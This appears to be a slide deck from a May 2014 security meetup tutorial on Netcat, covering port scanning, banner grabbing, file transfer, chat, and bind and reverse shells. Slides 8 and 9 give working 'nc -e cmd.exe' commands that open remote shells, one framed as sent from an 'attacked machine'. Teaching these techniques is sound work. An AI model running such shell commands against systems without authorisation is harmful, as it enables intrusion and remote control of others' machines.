null Hyderabad Chapter - May 2014 Meet

1. - - by Mahesh Bheema

2.  It is a tool that can read and write data across
networks, usingTCP or UDP protocol. It can
be operated both in server and client mode.

3.  Port scanning
 Banner Grabbing
 Backdoor
 File transfer
 Port Redirector
 Chatting and
 Many more…

4.  Port scanning is the process of scanning a
specified host and looking for ports that may
be open or closed.
 Here is the syntax to scan ports…
# nc -v -z IP_Address port_range
-v is for verbosity (without –v it wont display result in output)

5.  Banner grabbing is a technique to determine
the service running or application, version,
operating system. Using the below syntax :
# nc -v IP_Address port
 when you hit enter,After a few seconds you
see some information about your IP address
and port number, then write GET / HTTP/1.1
and hit enter and see some information about
your victim.

6.  File transfer/ chat works by setting up a
server and client.
 FileTransfer
 nc –l –p 1234 > testfile.txt [Reciever’s end]
 nc IP_Address 1234 < testfile.txt [Sender’s end]
 type abc.jpeg | nc –lvp 8080
 nc –l Server_IP 8080 > abc.jpeg
 Chat Server
 nc –l –p 1234 [Reciever’s end]
 nc IP_Address 1234 [Sender’s end]

7.  Netcat has the ability of providing a remote
shell as well. We can do this in two ways…
 1. Bind Shell
 2. Reverse Shell

8.  We can take cmd.exe/shell and bind it to a
local port, and anyone connecting to this port
will be presented with command prompt
belonging to that machine.This is known as a
BIND SHELL. Syntax as follows…
 # nc –l -p 1337 –e cmd.exe [Server]
 # nc –v Server_IP 1337 [Client]

9.  Reverse Shell:
 Netcat can also "send" a shell to another
instance of a listening Netcat session.This is
especially useful if the attacked machine is
behind a firewall or otherwise nat'ed
 # nc –lvp 1337 [Server]
 # nc –v Server_IP 1337 –e cmd.exe [Client]

10.  It's not always the best tool for the job, but if I
was stranded on an island, I'd take Netcat
with me ☺

11.  SpecialThanks to CATechnologies for the
venue.